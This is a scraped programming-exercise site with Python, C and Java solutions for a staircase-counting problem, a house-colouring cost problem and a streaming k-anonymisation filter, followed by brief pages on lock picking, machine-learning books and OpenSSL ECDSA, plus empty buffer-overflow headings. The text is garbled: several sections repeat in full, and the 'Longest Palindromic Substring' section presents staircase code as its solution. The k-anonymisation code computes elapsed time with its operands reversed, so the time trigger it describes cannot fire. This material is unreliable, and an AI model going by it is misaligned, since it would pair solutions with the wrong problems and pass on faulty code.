getAnonValue (this.inputBuffer.subList(0, size)); distortion = getDistortion(this.inputBuffer.subList(0, size), anonymizedValue); // if the distortion is decreasing when adding records then keep adding elements // otherwise output them if (distortion_min > distortion) distortion_min = distortion; else break; } while(size < this.inputBuffer.size()); // add the records to the output buffer addOutputRecords(this.inputBuffer.subList(0, size), anonymizedValue); // continue to process the other records in the input buffer this.inputBuffer = this.inputBuffer.subList(size, this.inputBuffer.size()); } // Clear the input buffer this.inputBuffer = new ArrayList<InputRecord>(); } In line 5, the inputBuffer is sorted to place similar values together. In line 12-33, the inputBuffer is chunked in pieces to minimize the distortions of each individual piece. Each chunk includes at least K elements and one more element will included iteratively until the distortion doesn’t decrease anymore. When the distortion stop decreasing then the chunk is removed from the input buffer and the output records are generated with the addOutputRecords function. This process will continue until there are no more records in the inputBuffer. Line 18-19 will make sure that even the last chunk has at least k elements to keep the k-anonymity property. (In line 23, the distortion is computed with the same function used in the measures package.) Trade-off Between Distortion and Latency The variable blockSize can be used to control the distortion and latency. Increasing the variable blockSize will decrease the distortion and increase latency. Decreasing the variable blockSize will increase the distortion and decrease latency. The variable maxWaitTime will top the latency, if necessary. You can download my solution here.

Longest Palindromic Substring

The text of the exercise is the following: Given a string s, find the longest palindromic substring in s. You may assume that the maximum length of s is 1000. Example 1: Input: “babad” Output: “bab” Note: “aba” is also a valid answer. Example 2: Input: “cbbd” Output: “bb” My solution Python C Java N = 4 solutions = [] def staircase(n, result): if n == 1: solutions.append(result+","+"1") return if n == 0: solutions.append(result) return staircase(n-2, result + ",2") staircase(n-1, result + ",1") if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> char** solutions; int N = 4; int n_solution=0; void staircase(int n, char *result); char* strAdd(char* begin, char* end); void addSolution(char* solution); void staircase(int n, char *result) { char *str1,*str2; if (n == 1) { str1 = strAdd(result, ",1"); addSolution(str1); free((void*)str1); return; } else if (n == 0) { addSolution(result); return; } str1 = strAdd(result, ",1"); str2 = strAdd(result, ",2"); staircase(n-1, str1); staircase(n-2, str2); free((void*)str1); free((void*)str2); } char* strAdd(char* begin, char* end) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ strlen(end) + 1)); if (str == NULL) exit(1); str = strcpy(str, begin); str = strcat(str, end); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class NStepStaircase { static List<String> solutions = new ArrayList<String>(); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircase.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { if (n == 1) { NStepStaircase.solutions.add(result.append(",1").toString()); return; } else if (n == 0) { solutions.add(result.toString()); return; } staircase(n-1, new StringBuffer(result).append(",1")); staircase(n-2, new StringBuffer(result).append(",2")); } } Code Explanation The function `staircase` is a recursive function that takes the `n` and `result` as input parameters. * `n` represents the number of stairs that remains to be climbed. * `result` represents the steps covered so far. The recursion stops when there are no more steps to climb or when there are only 1 stair left. **Time complexity**: \\( O(2^N) \\) **Space complexity**: \\( O(2^N) \\) Generalized solution Python C Java N = 9 solutions = [] STEPS = [1, 3, 5] def staircase(n, result): if n == 0: solutions.append(result) return for s in STEPS: if n-s >= 0: staircase(n-s, result + "," + str(s)) if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> char** solutions; int N = 4; int n_solution=0; int STEPS[] = {1,2,3}; void staircase(int n, char *result); char* strAdd(char* begin, int number); void addSolution(char* solution); void staircase(int n, char *result) { char *str; if (n == 0) { addSolution(result); return; } for (int i=0; i<sizeof(STEPS)/sizeof(STEPS[0]); i++) { if ( n-STEPS[i] >= 0) { str = strAdd(result, STEPS[i]); staircase(n-STEPS[i], str); free((void*)str); } } } char* strAdd(char* begin, int number) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ floor(log10(number))+1 +1 + 1)); //1 for '\0', 1 for ',', 1 for if (str == NULL) exit(1); sprintf(str, "%s,%d", begin, number); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Arrays; public class NStepStaircaseGeneral { static List<String> solutions = new ArrayList<String> (); static List<Integer> STEPS = new ArrayList<Integer>(Arrays.asList(1,2)); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircaseGeneral.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { Iterator<Integer> iter = NStepStaircaseGeneral.STEPS.iterator(); Integer step; if (n == 0) { solutions.add(result.toString()); return; } while (iter.hasNext()) { step = iter.next(); if ((n - step) >= 0) { staircase(n-step, new StringBuffer(result).append(","+step)); } } } } **Time complexity**: \\( O(k^N) \\) \\(;\\) \\(k = | STEPS | \\) **Space complexity**: \\( O(k^N) \\) \\(;\\) \\(k = | STEPS | \\) --

N Steps Staircase

The text of the exercise is the following: There’s a staircase with N steps, and you can climb 1 or 2 steps at a time. Given N, write a function that prints all the unique ways you can climb the staircase. The order of the steps matters. For example, if N is 4, then there are 5 unique ways: 1, 1, 1, 1 2, 1, 1 1, 2, 1 1, 1, 2 2, 2 What if, instead of being able to climb 1 or 2 steps at a time, you could climb any number from a set of positive integers X? For example, if X = {1, 3, 5}, you could climb 1, 3, or 5 steps at a time. Generalize your function to take in X. Before solving the exercise, we can ask few questions to specify few aspects that might not be clear. Are the steps going to be always positive number? Yes. In the general case, is 1 going to be always in the possible steps? No. My solution Python C Java N = 4 solutions = [] def staircase(n, result): if n == 1: solutions.append(result+","+"1") return if n == 0: solutions.append(result) return staircase(n-2, result + ",2") staircase(n-1, result + ",1") if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> char** solutions; int N = 4; int n_solution=0; void staircase(int n, char *result); char* strAdd(char* begin, char* end); void addSolution(char* solution); void staircase(int n, char *result) { char *str1,*str2; if (n == 1) { str1 = strAdd(result, ",1"); addSolution(str1); free((void*)str1); return; } else if (n == 0) { addSolution(result); return; } str1 = strAdd(result, ",1"); str2 = strAdd(result, ",2"); staircase(n-1, str1); staircase(n-2, str2); free((void*)str1); free((void*)str2); } char* strAdd(char* begin, char* end) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ strlen(end) + 1)); if (str == NULL) exit(1); str = strcpy(str, begin); str = strcat(str, end); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class NStepStaircase { static List<String> solutions = new ArrayList<String>(); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircase.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { if (n == 1) { NStepStaircase.solutions.add(result.append(",1").toString()); return; } else if (n == 0) { solutions.add(result.toString()); return; } staircase(n-1, new StringBuffer(result).append(",1")); staircase(n-2, new StringBuffer(result).append(",2")); } } Code Explanation The function staircase is a recursive function that takes the n and result as input parameters. n represents the number of stairs that remains to be climbed. result represents the steps covered so far. The recursion stops when there are no more steps to climb or when there are only 1 stair left. Time complexity: \( O(2^N) \) Space complexity: \( O(2^N) \) Generalized solution Python C Java N = 9 solutions = [] STEPS = [1, 3, 5] def staircase(n, result): if n == 0: solutions.append(result) return for s in STEPS: if n-s >= 0: staircase(n-s, result + "," + str(s)) if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> char** solutions; int N = 4; int n_solution=0; int STEPS[] = {1,2,3}; void staircase(int n, char *result); char* strAdd(char* begin, int number); void addSolution(char* solution); void staircase(int n, char *result) { char *str; if (n == 0) { addSolution(result); return; } for (int i=0; i<sizeof(STEPS)/sizeof(STEPS[0]); i++) { if ( n-STEPS[i] >= 0) { str = strAdd(result, STEPS[i]); staircase(n-STEPS[i], str); free((void*)str); } } } char* strAdd(char* begin, int number) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ floor(log10(number))+1 +1 + 1)); //1 for '\0', 1 for ',', 1 for if (str == NULL) exit(1); sprintf(str, "%s,%d", begin, number); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Arrays; public class NStepStaircaseGeneral { static List<String> solutions = new ArrayList<String> (); static List<Integer> STEPS = new ArrayList<Integer>(Arrays.asList(1,2)); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircaseGeneral.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { Iterator<Integer> iter = NStepStaircaseGeneral.STEPS.iterator(); Integer step; if (n == 0) { solutions.add(result.toString()); return; } while (iter.hasNext()) { step = iter.next(); if ((n - step) >= 0) { staircase(n-step, new StringBuffer(result).append(","+step)); } } } } Time complexity: \( O(k^N) \) \(;\) \(k = | STEPS | \) Space complexity: \( O(k^N) \) \(;\) \(k = | STEPS | \)

Java

Building Houses

The text of the exercise is the following: A builder is looking to build a row of N houses that can be of K different colours. He has a goal of minimizing cost while ensuring that no two neighbouring houses are not of the same colour. Given an N by K matrix where the nth row and kth column represents the cost to build the nth house with kth colour, return the minimum cost which achieves this goal. Before solving the exercise, we can ask few questions to specify few aspects that might not be clear: Can an house cost 0? No. Can N > K or N < K ? Yes. My solution It is clear that finding the minimum iteratively for each house can return a local minimal solution but we are interested in the global minima. Python C Java import math N = 6 K = 4 cost_matrix = [ [1 , 20, 34, 20], [40, 10, 15, 30], [50, 1, 20, 40], [70, 80, 30, 1 ], [1 , 60, 30, 40], [70, 50, 1 , 20] ] def find_house(row, col, tot, min_tot): if row < N: tot += cost_matrix[row][col] for c in range(K): if c != col: min_tot = find_house(row+1, c, tot, min_tot) else: if min_tot > tot: min_tot = tot return min_tot def main(): print ("Minimum value found:", find_house(0,0,0, math.inf)) #include<stdio.h> #include<limits.h> #define K 4 #define N 6 int cost_matrix[N][K] = { {1 , 20, 34, 20}, {40, 10, 15, 30}, {50, 1, 20, 40}, {70, 80, 30, 1 }, {1 , 60, 30, 40}, {70, 50, 1 , 20} }; int find_house(int row, int col, int tot, int min_tot) { if (row < N) { tot += cost_matrix[row][col]; for (int c=0; c<K; c++) { if (c != col) min_tot = find_house(row+1,c, tot, min_tot); } } else { if (min_tot > tot) min_tot = tot; } return min_tot; } int main() { printf("Minimal cost: %d\n", find_house(0, 0, 0, INT_MAX)); return 0; } public class BuildHouse { static int N=6; static int K=4; static int cost_matrix[][] = { {1 , 20, 34, 20}, {40, 10, 15, 30}, {50, 1, 20, 40}, {70, 80, 30, 1 }, {1 , 60, 30, 40}, {70, 50, 1 , 20} }; public static void main(String[] args) { System.out.println("Minimum value found: "+ findHouse(0,0,0,Integer.MAX_VALUE)); } static int findHouse(int row, int col, int tot, int min_tot) { if (row < N) { tot += cost_matrix[row][col]; for (int c=0; c<K; c++) { if (c != col) min_tot = findHouse(row+1, c, tot, min_tot); } } else { if (min_tot > tot) min_tot = tot; } return min_tot; } } Code Explanation The function find_house is a recursive function that takes the row, col, tot and min_tot as input parameters. The function transform the matrix into a tree and perform a kind of “depth-first” exploration returning the minimum of the total found. row represents the row of the house. col represents column of the house. tot represents the total up to the reached node. min_tot represents the minimum of the cost found up to that moment The recursion stops when all the nodes have been explored. Time complexity: \( O(N^K) \) Space complexity: \( O(N^K) \)

K-Anonymisation on Streaming Data

The text of the exercise is the following: Imagine a stream of records arriving at a rate of one per second. For simplicity the records contain just one variable, a double. The goal is to generalise this variable to achieve a k-anonymity of 5 i.e., no generalised unique output value can appear fewer than 5 times. The effectiveness of the solution can be measured by its impact on data distortion and latency, with the aim of minimising both: Distortion is a measure of how close the generalised values are to the original ones. Latency is a measure of delay between ingesting the input record and publishing the generalised value. The solution should implement the StreamingKFilter interface that accepts InputRecords and transforms them into generalised OutputRecords. Method calls to the StreamingKFilter are strictly single threaded; as such the solution is expected to be single-threaded only. The code of the exercise and the tests are here. Under /src/test you will find two test suites for the solution. In order to run them, instantiate your filter in the​ CandidateFilterFactory.getStreamingKFilter()​ method. The project source code (solution and tests) can be built using Maven. Additional info: K-Anonymity A release of data is said to have the k-anonymity property if the information for each record contained in the release cannot be distinguished from at least k - 1 records whose information also appear in the release. My solution The StreamingKFilter interface contains two methods: void processNewRecord(InputRecord input); Collection<OutputRecord> returnPublishableRecords(); I implemented the processNewRecord as: @Override public void processNewRecord(InputRecord input) { Integer firstElementTime, lastElementTime, elapsedTime; this.inputBuffer.add(input); // calculating elapsed time firstElementTime = this.inputBuffer.get(0).getTime(); lastElementTime = this.inputBuffer.get(this.inputBuffer.size()-1).getTime(); elapsedTime = firstElementTime - lastElementTime; // update the current time this.currentTime = input.getTime(); // if enough records are received then process the block if (this.inputBuffer.size() >= this.blockSize) generateOutputRecords(); // if enough time is elapsed then process the block if (elapsedTime >= this.maxWaitTime && this.inputBuffer.size() >= this.K) { generateOutputRecords(); } } This function will trigger the generateOutputRecords (explained later on) in two circumstances: when there is enough input records received, controlled by the variable blockSize, in line 16. when enough time has passed, controlled by the variable maxWaitTime (and the minimum number of records to obtain k-anonymity has been received), in line 20. The input records are stored in the inputBuffer, in line 5. The function returnPublishableRecords is implemented as: @Override public Collection<OutputRecord> returnPublishableRecords() { Collection<OutputRecord > outputs = this.outputBuffer; this.outputBuffer = new ArrayList<OutputRecord >(); return outputs; } This function returns the records stored in the outputBuffer, filled by the function generateOutputRecords. The main function generateOutputRecords is implemented as: private void generateOutputRecords() { int size; double distortion, anonymizedValue, distortion_min = Double.MAX_VALUE; this.inputBuffer.sort(Comparator.comparing(InputRecord::getRawValue)); while (this.inputBuffer.isEmpty() == false) { // initialize the variables used in the search distortion_min = Double.MAX_VALUE; size = this.K -1; do { // process 'size' number of records size += 1; // process 'size' number of objects, if the remaining are less than this.K then process them all if (size > (this.inputBuffer.size() - this.K) ) size = this.inputBuffer.size(); // compute the distortion and the anonymized value on the records anonymizedValue = getAnonValue (this.inputBuffer.subList(0, size)); distortion = getDistortion(this.inputBuffer.subList(0, size), anonymizedValue); // if the distortion is decreasing when adding records then keep adding elements // otherwise output them if (distortion_min > distortion) distortion_min = distortion; else break; } while(size < this.inputBuffer.size()); // add the records to the output buffer addOutputRecords(this.inputBuffer.subList(0, size), anonymizedValue); // continue to process the other records in the input buffer this.inputBuffer = this.inputBuffer.subList(size, this.inputBuffer.size()); } // Clear the input buffer this.inputBuffer = new ArrayList<InputRecord>(); } In line 5, the inputBuffer is sorted to place similar values together. In line 12-33, the inputBuffer is chunked in pieces to minimize the distortions of each individual piece. Each chunk includes at least K elements and one more element will included iteratively until the distortion doesn’t decrease anymore. When the distortion stop decreasing then the chunk is removed from the input buffer and the output records are generated with the addOutputRecords function. This process will continue until there are no more records in the inputBuffer. Line 18-19 will make sure that even the last chunk has at least k elements to keep the k-anonymity property. (In line 23, the distortion is computed with the same function used in the measures package.) Trade-off Between Distortion and Latency The variable blockSize can be used to control the distortion and latency. Increasing the variable blockSize will decrease the distortion and increase latency. Decreasing the variable blockSize will increase the distortion and decrease latency. The variable maxWaitTime will top the latency, if necessary. You can download my solution here.

Longest Palindromic Substring

The text of the exercise is the following: Given a string s, find the longest palindromic substring in s. You may assume that the maximum length of s is 1000. Example 1: Input: “babad” Output: “bab” Note: “aba” is also a valid answer. Example 2: Input: “cbbd” Output: “bb” My solution Python C Java N = 4 solutions = [] def staircase(n, result): if n == 1: solutions.append(result+","+"1") return if n == 0: solutions.append(result) return staircase(n-2, result + ",2") staircase(n-1, result + ",1") if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> char** solutions; int N = 4; int n_solution=0; void staircase(int n, char *result); char* strAdd(char* begin, char* end); void addSolution(char* solution); void staircase(int n, char *result) { char *str1,*str2; if (n == 1) { str1 = strAdd(result, ",1"); addSolution(str1); free((void*)str1); return; } else if (n == 0) { addSolution(result); return; } str1 = strAdd(result, ",1"); str2 = strAdd(result, ",2"); staircase(n-1, str1); staircase(n-2, str2); free((void*)str1); free((void*)str2); } char* strAdd(char* begin, char* end) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ strlen(end) + 1)); if (str == NULL) exit(1); str = strcpy(str, begin); str = strcat(str, end); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class NStepStaircase { static List<String> solutions = new ArrayList<String>(); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircase.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { if (n == 1) { NStepStaircase.solutions.add(result.append(",1").toString()); return; } else if (n == 0) { solutions.add(result.toString()); return; } staircase(n-1, new StringBuffer(result).append(",1")); staircase(n-2, new StringBuffer(result).append(",2")); } } Code Explanation The function `staircase` is a recursive function that takes the `n` and `result` as input parameters. * `n` represents the number of stairs that remains to be climbed. * `result` represents the steps covered so far. The recursion stops when there are no more steps to climb or when there are only 1 stair left. **Time complexity**: \\( O(2^N) \\) **Space complexity**: \\( O(2^N) \\) Generalized solution Python C Java N = 9 solutions = [] STEPS = [1, 3, 5] def staircase(n, result): if n == 0: solutions.append(result) return for s in STEPS: if n-s >= 0: staircase(n-s, result + "," + str(s)) if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> char** solutions; int N = 4; int n_solution=0; int STEPS[] = {1,2,3}; void staircase(int n, char *result); char* strAdd(char* begin, int number); void addSolution(char* solution); void staircase(int n, char *result) { char *str; if (n == 0) { addSolution(result); return; } for (int i=0; i<sizeof(STEPS)/sizeof(STEPS[0]); i++) { if ( n-STEPS[i] >= 0) { str = strAdd(result, STEPS[i]); staircase(n-STEPS[i], str); free((void*)str); } } } char* strAdd(char* begin, int number) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ floor(log10(number))+1 +1 + 1)); //1 for '\0', 1 for ',', 1 for if (str == NULL) exit(1); sprintf(str, "%s,%d", begin, number); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Arrays; public class NStepStaircaseGeneral { static List<String> solutions = new ArrayList<String> (); static List<Integer> STEPS = new ArrayList<Integer>(Arrays.asList(1,2)); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircaseGeneral.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { Iterator<Integer> iter = NStepStaircaseGeneral.STEPS.iterator(); Integer step; if (n == 0) { solutions.add(result.toString()); return; } while (iter.hasNext()) { step = iter.next(); if ((n - step) >= 0) { staircase(n-step, new StringBuffer(result).append(","+step)); } } } } **Time complexity**: \\( O(k^N) \\) \\(;\\) \\(k = | STEPS | \\) **Space complexity**: \\( O(k^N) \\) \\(;\\) \\(k = | STEPS | \\) --

N Steps Staircase

The text of the exercise is the following: There’s a staircase with N steps, and you can climb 1 or 2 steps at a time. Given N, write a function that prints all the unique ways you can climb the staircase. The order of the steps matters. For example, if N is 4, then there are 5 unique ways: 1, 1, 1, 1 2, 1, 1 1, 2, 1 1, 1, 2 2, 2 What if, instead of being able to climb 1 or 2 steps at a time, you could climb any number from a set of positive integers X? For example, if X = {1, 3, 5}, you could climb 1, 3, or 5 steps at a time. Generalize your function to take in X. Before solving the exercise, we can ask few questions to specify few aspects that might not be clear. Are the steps going to be always positive number? Yes. In the general case, is 1 going to be always in the possible steps? No. My solution Python C Java N = 4 solutions = [] def staircase(n, result): if n == 1: solutions.append(result+","+"1") return if n == 0: solutions.append(result) return staircase(n-2, result + ",2") staircase(n-1, result + ",1") if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> char** solutions; int N = 4; int n_solution=0; void staircase(int n, char *result); char* strAdd(char* begin, char* end); void addSolution(char* solution); void staircase(int n, char *result) { char *str1,*str2; if (n == 1) { str1 = strAdd(result, ",1"); addSolution(str1); free((void*)str1); return; } else if (n == 0) { addSolution(result); return; } str1 = strAdd(result, ",1"); str2 = strAdd(result, ",2"); staircase(n-1, str1); staircase(n-2, str2); free((void*)str1); free((void*)str2); } char* strAdd(char* begin, char* end) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ strlen(end) + 1)); if (str == NULL) exit(1); str = strcpy(str, begin); str = strcat(str, end); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class NStepStaircase { static List<String> solutions = new ArrayList<String>(); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircase.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { if (n == 1) { NStepStaircase.solutions.add(result.append(",1").toString()); return; } else if (n == 0) { solutions.add(result.toString()); return; } staircase(n-1, new StringBuffer(result).append(",1")); staircase(n-2, new StringBuffer(result).append(",2")); } } Code Explanation The function staircase is a recursive function that takes the n and result as input parameters. n represents the number of stairs that remains to be climbed. result represents the steps covered so far. The recursion stops when there are no more steps to climb or when there are only 1 stair left. Time complexity: \( O(2^N) \) Space complexity: \( O(2^N) \) Generalized solution Python C Java N = 9 solutions = [] STEPS = [1, 3, 5] def staircase(n, result): if n == 0: solutions.append(result) return for s in STEPS: if n-s >= 0: staircase(n-s, result + "," + str(s)) if __name__ == "__main__": staircase(N,"") print("\n".join([s[1:] for s in solutions])) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> char** solutions; int N = 4; int n_solution=0; int STEPS[] = {1,2,3}; void staircase(int n, char *result); char* strAdd(char* begin, int number); void addSolution(char* solution); void staircase(int n, char *result) { char *str; if (n == 0) { addSolution(result); return; } for (int i=0; i<sizeof(STEPS)/sizeof(STEPS[0]); i++) { if ( n-STEPS[i] >= 0) { str = strAdd(result, STEPS[i]); staircase(n-STEPS[i], str); free((void*)str); } } } char* strAdd(char* begin, int number) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ floor(log10(number))+1 +1 + 1)); //1 for '\0', 1 for ',', 1 for if (str == NULL) exit(1); sprintf(str, "%s,%d", begin, number); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,""); for(i=0; i< n_solution; i++ ) { printf("%s\n", solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Arrays; public class NStepStaircaseGeneral { static List<String> solutions = new ArrayList<String> (); static List<Integer> STEPS = new ArrayList<Integer>(Arrays.asList(1,2)); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator<String> iter = NStepStaircaseGeneral.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { Iterator<Integer> iter = NStepStaircaseGeneral.STEPS.iterator(); Integer step; if (n == 0) { solutions.add(result.toString()); return; } while (iter.hasNext()) { step = iter.next(); if ((n - step) >= 0) { staircase(n-step, new StringBuffer(result).append(","+step)); } } } } Time complexity: \( O(k^N) \) \(;\) \(k = | STEPS | \) Space complexity: \( O(k^N) \) \(;\) \(k = | STEPS | \)

Lock Picking

How to: Lock Picking

In this page, I share interesting links and resources that can help when developing lock picking skills.

ML

Machine Learning Resources

An Introduction to Statistical Learning, with Application in R Gareth James, Daniela Witten, Trevor Hastie, Robert Tibshirani This is a great book to start learning. It offers a gentle introduction to machine learning guided by examples. It gives little for granted and the mathematical notation is not heavy. It is beginner/medium level. With the “The Elements of Statistical Learning, Data Mining, Inference, and Prediction” offers a complete description of most well-known machine learning methods. It doesn’t discuss about neural networks. The Elements of Statistical Learning, Data Mining, Inference, and Prediction Trevor Hastie, Robert Tibshirani, Jerome Friedman It is the natural continuation of the “An Introduction to Statistical Learning, with Application in R” book. This book is medium/advanced level. It offers more in depth explanation where the introduction book hide some details. The mathematical is sometimes heavy. It does cover neural network in a chapter. Petter Recognition and Machine Learning Christopher M. Bishop This is the bible of all the machine learning books. It starts from the fundamentals to build up. It offers both frequentist and bayesian views of probabilities. The explanations are well discussed and easy to follow. Deep Learning Ian Goodfellow, Yoshua Bengio, and Aaron Courville The books talks about neural networks and most of its variants. It starts from the theory needed to understand all the concepts before diving into neural networks. Given the interest in this topic and the practical applications that use this methods worldwide, it is a book worth read it. Among other, it covers convolutional, recurrent and recursive neural networks.

OpenSSL

Sign and Verify a Message with Openssl ECDSA Library

This article wants to show how to sign and verify a message using an Elliptic Curve Digital Signature Algorithm. In particular, I am going to use secp256k1 class of curves used in Bitcoin.

Overflow

Format String Vulnerability

TODO

Basic Stack-Based Buffer Overflow

